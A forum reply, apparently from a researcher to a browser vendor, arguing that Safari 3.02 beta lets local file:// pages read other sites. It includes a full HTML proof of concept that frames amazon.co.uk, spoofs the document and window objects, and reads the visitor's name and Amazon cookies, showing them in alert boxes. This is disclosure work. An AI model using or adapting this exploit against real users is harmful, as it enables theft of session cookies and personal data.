Thanks for the more detailed reply :)
I can sort of understand were you are coming from now however I still consider this a major flaw because locally you shouldn't be able to access external domains, Firefox and IE7 prevent this, so why not Safari?
If I send a email to someone and they open it and the following happens:-
<html>
<head>
<title>Breaking the sandbox!</title>
<script type="text/javascript">
function attack() {
window = w;
document.getElementById = d.getElementById;
document.getElementsByTagName = d.getElementsByTagName;
//alert(window["iframe"].document.getElementsByTagName("body")[0].innerHTML);
doc = window["iframe"].document;
html = doc.body.innerHTML;
start = html.indexOf('Hello, ');
if(start == -1) {
alert('Unable to get your name but your cookies are:-\n'+doc.cookie);
} else {
msg = '';
for(i=start;i<html.length;i++) {
if(html.substr(i, 1) == '.') {
break;
}
msg += html.substr(i, 1);
}
alert(msg + '\n' + 'I suggest you use Firefox.');
alert('Your cookies from Amazon are:\n\n'+doc.cookie);
}
}
</script>
</head>
<body>
<h1>Tested on Safari version 3.02 using file://</h1>
<iframe src="http://www.amazon.co.uk/" onload="attack();" id="iframe" name="iframe"></iframe>
<script type="text/javascript">
d = document;
w = window.frames;
</script>
<script type="text/javascript">
var document;
document = {};
document.domain = 'www.amazon.co.uk';
document.URL = 'http://www.amazon.co.uk';
document.referrer = 'http://www.amazon.co.uk';
document.documentURI = 'http://www.amazon.co.uk';
document.location = 'http://www.amazon.co.uk';
document.protocol = 'HyperText Transfer Protocol';
document.URLEncoded = 'http://www.amazon.co.uk';
var window;
window = {};
window.document = document;
window.location = 'http://www.amazon.co.uk';
</script>
<div id="displayWin">
<p>content goes here.</p>
</div>
</body>
</html>
Face it man, Safari beta's local same origin policy is broken. Please fix it or the exploits will gradually get worse.
